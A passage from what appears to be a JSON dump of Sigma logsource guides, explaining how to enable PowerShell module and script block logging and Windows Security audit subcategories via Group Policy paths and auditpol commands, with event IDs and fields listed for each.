`gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Administrative Templates\n - PowerShell Core\n - Turn On Module Logging\n - Select List Of Modules According To Your Audit Policy (or use '*' to select all modules)\n```\n\n> **Note**\n>\n> By default when you install PowerShell 7 the logging template isn't available. You can install it by using the PowerShell script available in the installation directory `InstallPSCorePolicyDefinitions.ps1`\n\n## Event Fields\n\n### Provider: Microsoft-Windows-PowerShell / EventID: 4103 (PowerShell 5)\n\n\n Expand
\n\n```yml\n- ContextInfo\n- UserData\n- Payload\n```\n\n \n\n### Provider: PowerShellCore / EventID: 4103 (PowerShell 7)\n\n\n Expand
\n\n```yml\n- ContextInfo\n- UserData\n- Payload\n```\n\n \n"
},
{
"path": "documentation/logsource-guides/windows/category/ps_script.md",
"content": "# category: ps_script\n\nID: bade5735-5ab0-4aa7-a642-a11be0e40872\n\n## Content\n\n\n Expand
\n\n- [category: ps\\_script](#category-ps_script)\n - [Content](#content)\n - [Description](#description)\n - [Event Source(s)](#event-sources)\n - [PowerShell 5](#powershell-5)\n - [PowerShell 7](#powershell-7)\n - [Logging Setup](#logging-setup)\n - [Provider: Microsoft-Windows-PowerShell](#provider-microsoft-windows-powershell)\n - [Provider: PowerShellCore](#provider-powershellcore)\n - [Event Fields](#event-fields)\n - [Provider: Microsoft-Windows-PowerShell / EventID: 4103 (PowerShell 5)](#provider-microsoft-windows-powershell--eventid-4103-powershell-5)\n - [Provider: PowerShellCore / EventID: 4103 (PowerShell 7)](#provider-powershellcore--eventid-4103-powershell-7)\n\n \n\n## Description\n\nThis logsource guide describes how to enable the necessary logging to make use of SIGMA rules that leverage the `ps_script` category.\n\n## Event Source(s)\n\n### PowerShell 5\n\n```yml\nProvider: Microsoft-Windows-PowerShell\nGUID: {a0c1853b-5c40-4b15-8766-3cf1c58f985a}\nChannel: Microsoft-Windows-PowerShell/Operational\nEventID: 4104\n```\n\n### PowerShell 7\n\n```yml\nProvider: PowerShellCore\nGUID: {f90714a8-5509-434a-bf6d-b1624c8a19a2}\nChannel: PowerShellCore/Operational\nEventID: 4104\n```\n\n## Logging Setup\n\n### Provider: Microsoft-Windows-PowerShell\n\n- Event Volume: TBD\n- EventID(s):\n - `4104`\n\n```yml\n- Computer Configuration\n - Administrative Templates\n - Windows Components\n - Windows PowerShell\n - Turn On PowerShell Script Block Logging\n```\n\n### Provider: PowerShellCore\n\n- Event Volume: TBD\n- EventID(s):\n - `4104`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Administrative Templates\n - PowerShell Core\n - Turn On PowerShell Script Block Logging\n```\n\n> **Note**\n>\n> By default when you install PowerShell 7 the logging template isn't available. You can install it by using the PowerShell script available in the installation directory `InstallPSCorePolicyDefinitions.ps1`\n\n## Event Fields\n\n### Provider: Microsoft-Windows-PowerShell / EventID: 4103 (PowerShell 5)\n\n\n Expand
\n\n```yml\n- MessageNumber\n- MessageTotal\n- ScriptBlockText\n- ScriptBlockId\n- Path\n```\n\n \n\n### Provider: PowerShellCore / EventID: 4103 (PowerShell 7)\n\n\n Expand
\n\n```yml\n- MessageNumber\n- MessageTotal\n- ScriptBlockText\n- ScriptBlockId\n- Path\n```\n \n"
},
{
"path": "documentation/logsource-guides/windows/category/registry_add.md",
"content": "**Coming Soon**"
},
{
"path": "documentation/logsource-guides/windows/category/registry_delete.md",
"content": "**Coming Soon**"
},
{
"path": "documentation/logsource-guides/windows/category/registry_event.md",
"content": "**Coming Soon**"
},
{
"path": "documentation/logsource-guides/windows/category/registry_rename.md",
"content": "**Coming Soon**"
},
{
"path": "documentation/logsource-guides/windows/category/registry_set.md",
"content": "**Coming Soon**"
},
{
"path": "documentation/logsource-guides/windows/service/powershell.md",
"content": "**Coming Soon**"
},
{
"path": "documentation/logsource-guides/windows/service/security.md",
"content": "# service: security\n\nID: dfd8c0f4-e6ad-4e07-b91b-f2fca0ddef64\n\n## Content\n\n\n Details
\n\n- [service: security](#service-security)\n - [Content](#content)\n - [Description](#description)\n - [Event Source(s)](#event-sources)\n - [Logging Setup](#logging-setup)\n - [Account Logon](#account-logon)\n - [Credential Validation](#credential-validation)\n - [Kerberos Authentication Service](#kerberos-authentication-service)\n - [Kerberos Service Ticket Operations](#kerberos-service-ticket-operations)\n - [Other Account Logon Events](#other-account-logon-events)\n - [Account Management](#account-management)\n - [Application Group Management](#application-group-management)\n - [Computer Account Management](#computer-account-management)\n - [Distribution Group Management](#distribution-group-management)\n - [Other Account Management Events](#other-account-management-events)\n - [Security Group Management](#security-group-management)\n - [User Account Management](#user-account-management)\n - [Detailed Tracking](#detailed-tracking)\n - [DPAPI Activity](#dpapi-activity)\n - [PNP Activity](#pnp-activity)\n - [Process Creation](#process-creation)\n - [Process Termination](#process-termination)\n - [RPC Events](#rpc-events)\n - [Token Right Adjusted](#token-right-adjusted)\n - [DS Access](#ds-access)\n - [Detailed Directory Service Replication](#detailed-directory-service-replication)\n - [Directory Service Access](#directory-service-access)\n - [Directory Service Changes](#directory-service-changes)\n - [Directory Service Replication](#directory-service-replication)\n - [Logon/Logoff](#logonlogoff)\n - [Account Lockout](#account-lockout)\n - [User/Device Claims](#userdevice-claims)\n - [Group Membership](#group-membership)\n - [IPsec Extended Mode](#ipsec-extended-mode)\n - [IPsec Main Mode](#ipsec-main-mode)\n - [IPsec Quick Mode](#ipsec-quick-mode)\n - [Logoff](#logoff)\n - [Logon](#logon)\n - [Network Policy Server](#network-policy-server)\n - [Other Logon/Logoff Events](#other-logonlogoff-events)\n - [Special Logon](#special-logon)\n - [Object Access](#object-access)\n - [Application Generated](#application-generated)\n - [Certification Services](#certification-services)\n - [Detailed File Share](#detailed-file-share)\n - [File Share](#file-share)\n - [File System](#file-system)\n - [Filtering Platform Connection](#filtering-platform-connection)\n - [Filtering Platform Packet Drop](#filtering-platform-packet-drop)\n - [Handle Manipulation](#handle-manipulation)\n - [Kernel Object](#kernel-object)\n - [Other Object Access Events](#other-object-access-events)\n - [Registry](#registry)\n - [Removable Storage](#removable-storage)\n - [SAM](#sam)\n - [Central Access Policy Staging](#central-access-policy-staging)\n - [Policy Change](#policy-change)\n - [Audit Policy Change](#audit-policy-change)\n - [Authentication Policy Change](#authentication-policy-change)\n - [Authorization Policy Change](#authorization-policy-change)\n - [Filtering Platform Policy Change](#filtering-platform-policy-change)\n - [MPSSVC Rule-Level Policy Change](#mpssvc-rule-level-policy-change)\n - [Other Policy Change Events](#other-policy-change-events)\n - [Privilege Use](#privilege-use)\n - [Non Sensitive Privilege Use](#non-sensitive-privilege-use)\n - [Other Privilege Use Events](#other-privilege-use-events)\n - [Sensitive Privilege Use](#sensitive-privilege-use)\n - [System](#system)\n - [IPsec Driver](#ipsec-driver)\n - [Other System Events](#other-system-events)\n - [Security State Change](#security-state-change)\n - [Security System Extension](#security-system-extension)\n - [System Integrity](#system-integrity)\n - [Global Object Access Auditing](#global-object-access-auditing)\n - [Full Event(s) List](#full-events-list)\n - [Event Fields](#event-fields)\n - [Provider: Microsoft Windows Security Auditing / EventID: 4624](#provider-microsoft-windows-security-auditing--eventid-4624)\n - [Provider: Microsoft Windows Security Auditing / EventID: 4627](#provider-microsoft-windows-security-auditing--eventid-4627)\n - [Provider: Microsoft Windows Security Auditing / EventID: 4663](#provider-microsoft-windows-security-auditing--eventid-4663)\n - [Provider: Microsoft Windows Security Auditing / EventID: 4670](#provider-microsoft-windows-security-auditing--eventid-4670)\n - [Provider: Microsoft Windows Security Auditing / EventID: 4672](#provider-microsoft-windows-security-auditing--eventid-4672)\n - [Provider: Microsoft Windows Security Auditing / EventID: 4673](#provider-microsoft-windows-security-auditing--eventid-4673)\n - [Provider: Microsoft Windows Security Auditing / EventID: 4688](#provider-microsoft-windows-security-auditing--eventid-4688)\n - [Provider: Microsoft Windows Security Auditing / EventID: 4689](#provider-microsoft-windows-security-auditing--eventid-4689)\n - [Provider: Microsoft Windows Security Auditing / EventID: 4702](#provider-microsoft-windows-security-auditing--eventid-4702)\n - [Provider: Microsoft Windows Security Auditing / EventID: 4703](#provider-microsoft-windows-security-auditing--eventid-4703)\n - [Provider: Microsoft Windows Security Auditing / EventID: 4957](#provider-microsoft-windows-security-auditing--eventid-4957)\n - [Provider: Microsoft Windows Security Auditing / EventID: 5447](#provider-microsoft-windows-security-auditing--eventid-5447)\n\n \n\n## Description\n\nThis logsource guide describes how to enable the necessary logging to make use of SIGMA rules that leverage the `security` service.\n\n## Event Source(s)\n\n```yml\nProvider: Microsoft Windows Security Auditing\nGUID: {54849625-5478-4994-a5ba-3e3b0328c30d}\nChannel: Security\n```\n\n## Logging Setup\n\n### Account Logon\n\n#### Credential Validation\n\n- Subcategory GUID: `{0CCE923F-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4774`\n - `4775`\n - `4776`\n - `4777`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Account Logon\n - Audit Credential Validation\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE923F-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE923F-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-credential-validation)\n\n#### Kerberos Authentication Service\n\n- Subcategory GUID: `{0CCE9242-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High on Kerberos Key Distribution Center servers`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4768`\n - `4771`\n - `4772`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Account Logon\n - Audit Kerberos Authentication Service\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9242-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9242-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-kerberos-authentication-service)\n\n#### Kerberos Service Ticket Operations\n\n- Subcategory GUID: `{0CCE9240-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Very High on Kerberos Key Distribution Center servers`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4769`\n - `4770`\n - `4773`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Account Logon\n - Audit Kerberos Service Ticket Operations\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9240-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9240-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-kerberos-service-ticket-operations)\n\n#### Other Account Logon Events\n\n- Subcategory GUID: `{0CCE9241-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: TBD\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - TBD\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Account Logon\n - Audit Other Account Logon Events\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9241-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9241-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-account-logon-events)\n\n### Account Management\n\n#### Application Group Management\n\n- Subcategory GUID: `{0CCE9239-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: TBD\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4783`\n - `4784`\n - `4785`\n - `4786`\n - `4787`\n - `4788`\n - `4789`\n - `4790`\n - `4791`\n - `4792`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Account Management\n - Audit Application Group Management\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9239-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9239-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-application-group-management)\n\n#### Computer Account Management\n\n- Subcategory GUID: `{0CCE9236-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low on domain controllers`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4741`\n - `4742`\n - `4743`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Account Management\n - Audit Computer Account Management\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9236-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9236-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-computer-account-management)\n\n#### Distribution Group Management\n\n- Subcategory GUID: `{0CCE9238-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low on Domain Controllers`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4749`\n - `4750`\n - `4751`\n - `4752`\n - `4753`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Account Management\n - Audit Distribution Group Management\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9238-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9238-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-distribution-group-management)\n\n#### Other Account Management Events\n\n- Subcategory GUID: `{0CCE923A-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Typically Low on all types of computers`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4782`\n - `4793`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Account Management\n - Audit Other Account Management Events\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE923A-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE923A-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-account-management-events)\n\n#### Security Group Management\n\n- Subcategory GUID: `{0CCE9237-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4728`\n - `4731`\n - `4732`\n - `4733`\n - `4734`\n - `4735`\n - `4764`\n - `4799`\n - `4727`\n - `4737`\n - `4728`\n - `4729`\n - `4730`\n - `4754`\n - `4755`\n - `4756`\n - `4757`\n - `4758`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Account Management\n - Audit Security Group Management\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9237-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9237-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-security-group-management)\n\n#### User Account Management\n\n- Subcategory GUID: `{0CCE9235-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4720`\n - `4722`\n - `4723`\n - `4724`\n - `4725`\n - `4726`\n - `4738`\n - `4740`\n - `4765`\n - `4766`\n - `4767`\n - `4780`\n - `4781`\n - `4794`\n - `4798`\n - `5376`\n - `5377`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Account Management\n - Audit User Account Management\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9235-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9235-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-user-account-management)\n\n### Detailed Tracking\n\n#### DPAPI Activity\n\n- Subcategory GUID: `{0CCE922D-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4692`\n - `4693`\n - `4694`\n - `4695`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Detailed Tracking\n - Audit DPAPI Activity\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE922D-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE922D-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-dpapi-activity)\n\n#### PNP Activity\n\n- Subcategory GUID: `{0CCE9248-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Varies, depending on how the computer is used. Typically Low.`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `6416`\n - `6419`\n - `6420`\n - `6421`\n - `6422`\n - `6423`\n - `6424`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Detailed Tracking\n - Audit PNP Activity\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9248-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9248-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-pnp-activity)\n\n#### Process Creation\n\n- Subcategory GUID: `{0CCE922B-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4688`\n - `4696`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Detailed Tracking\n - Audit Process Creation\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE922B-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE922B-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-process-creation)\n\n#### Process Termination\n\n- Subcategory GUID: `{0CCE922C-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low to Medium, depending on system usage.`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4689`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Detailed Tracking\n - Audit Process Termination\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE922C-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE922C-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-process-termination)\n\n#### RPC Events\n\n- Subcategory GUID: `{0CCE922E-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: TBD\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `5712`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Detailed Tracking\n - Audit RPC Events\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE922E-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE922E-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-rpc-events)\n\n#### Token Right Adjusted\n\n- Subcategory GUID: `{0CCE924A-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4703`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Detailed Tracking\n - Audit Token Right Adjusted\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE924A-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE924A-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-token-right-adjusted)\n\n### DS Access\n\n#### Detailed Directory Service Replication\n\n- Subcategory GUID: `{0CCE923E-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `These events can create a very high volume of event data on domain controllers`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4928`\n - `4929`\n - `4930`\n - `4931`\n - `4934`\n - `4935`\n - `4936`\n - `4937`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - DS Access\n - Audit Detailed Directory Service Replication\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE923E-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE923E-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-detailed-directory-service-replication)\n\n#### Directory Service Access\n\n- Subcategory GUID: `{0CCE923B-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High on servers running AD DS role services.`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4661`\n - `4662`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - DS Access\n - Audit Directory Service Access\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE923B-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol 